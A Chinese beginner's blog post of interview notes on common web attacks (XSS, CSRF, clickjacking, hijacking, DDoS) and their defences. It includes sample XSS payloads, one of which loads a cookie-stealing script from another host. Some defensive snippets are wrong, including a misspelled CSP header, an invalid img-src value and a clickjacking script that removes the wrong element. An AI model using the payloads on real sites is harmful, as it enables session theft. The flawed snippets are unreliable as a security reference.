常见的WEB攻击与防范

254 阅读4分钟

首先这篇文章是个水文,因为之前对网络攻防一点都不了解。这是篇为了整理面试题所写的,如有错误,敬请通知小福涂。

1、XSS攻击(Cross Site Scripting)

1.1.1、跨站脚本攻击:

因为缩写和css一样所以叫xss,此类攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或Javascript进行的一种攻击。

1.1.2、有可能造成的影响:

1⃣️利用虚假表单骗取用户信息2⃣️利用脚本窃取Cookie值3⃣️显示伪造的内容4⃣️偷取网站任意数据5⃣️劫持前端逻辑6⃣️发送请求......

1.2、XSS攻击分类

1.2.1、反射型-url参数直接注入

//正常情况下的地址
http://localhost:8080/?from=msg
//alert尝试
http://localhost:8080/?from=<script>alert(3)</script>
//获取Cookie
http://localhost:8080/?from=<script src="http://localhost:8090/getCookie.js"></script>

1.2.2、存储型-存储到数据库后读取时注入

假设一个场景,某个论坛的评论功能,在评论区写一些,在页面中执行

//评论
<script>alert(1)</script>
//or
<script src="http:localhost:8090/getCookie.js"></script>
1.3、防范手段
1.3.1、HEAD
ctx.set('X-XSS-Protection',0) //禁止XSS过滤
//http://localhost:8080/?from=<script>alert(3)</script> //伪装后就拦截不了至于怎么伪装小福涂就不懂了

0是禁止XSS过滤。

1是启动XSS过滤,浏览器通常是默认启用的,检测到跨站脚本攻击,浏览器会删除页面不安全的部分。

1;mode=block启用XSS过滤。检测到跨站脚本攻击,浏览器将停止页面加载。

1;report=(Chromium only),启用过滤,检测到跨站脚本攻击,浏览器会清除页面并使用CSP的report-uri指令的功能发送违规报告

developer.mozilla.org/zh-CN/docs/…

1.3.2、CSP

内容安全策略(Content Security Policy)是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,CSP本质上就是建立白名单,开发者明确高速浏览器那些外部资源可以加载和执行。我们只需要对其做配置即可。

//只允许加载本站资源
Content-Security-Policy:default-src 'self'
//只允许加载HTTPS协议图片
Content-Security-Policy:img-src 'https://logo.png'
//不允许加载任何来源框架
Content-Serurity-Policy: child-src 'none'
1.3.3、转义字符

把外部注入的“script”标签通过转义字符渲染到页面上

1.3.4、HttpOnly Cookie

这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其 属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户 cookie信息。

response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")

2、CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是常见的web攻击,它利用已登陆的用户身份,在用户好毫不知情的情况下,进行非法操作。

2.1、危害

(大家都应该知道的,就不多写了)

2.2、防御

2.2.1、禁止第三方网站带Cookie(兼容性有问题)

2.2.2、Referer Check https不发送referer

app.use(async(ctx,next)=>{
    await next()
    const referer = ctx.request.header.referer
    console.log('Referer:',referer)
})

2.2.3、验证码

3、点击劫持-clickjacking

这个攻击挺好玩的,是在自己的网站里嵌套一个透明iframe,src是被攻击网址。将iframe页面的按钮和自己网站的某个必点按钮位置大小重合在一起。诱导用户攻击

3.1、防御
3.1.1、X-FRAME-OPTIONS

是一个http响应头,就是为了防止iframe嵌套的点击劫持攻击。有三个值可选

ctx.set('X-FRAME-OPTIONS','DENY') //页面不允许通过iframe的方式展示
ctx.set('X-FRAME-OPTIONS','SAMEORIGIN') //允许在相同域名下通过iframe展示
ctx.set('X-FRAME-OPTIONS','ALLOW-FROM')//允许制定来源的iframe展示
3.1.2、JS代码
<head>
    <style id="click-jack">
        html { 
            display: none !important; 
        } 
    </style>
</head> 
<body>
    <script>
        if (self == top) { 
            var style = document.getElementById('click-jack')
            document.body.removeChild(style) 
        } else {
            top.location = self.location 
         }
    </script>
 </body>
 //当通过iframe的方式加载时,攻击者的页面直接不显示所有内容

4、请求劫持

4.1、DNS劫持

DNS服务器被篡改,修改了域名解析的结果,使得访问不到预期的ip地址。常见的场景就是商场的wifi已经链接,但未登陆时,不论访问什么地址,都会访问到登录地址。

4.2、HTTP劫持 运营商被劫持了,好像就只能干等着运营商解决了把。这块还得在研究一下。

5、DDOS(distributed denial of service)

这是一个大类的总称,他有几十种方法,新的方法还在不断更新。网站运行的各个环节,都是可攻击的目标,只要某个环节被攻破都会使服务器瘫痪。前端防御的手段有限。这种类型防御大概只能是软硬件砸钱,提高犯罪成本吧。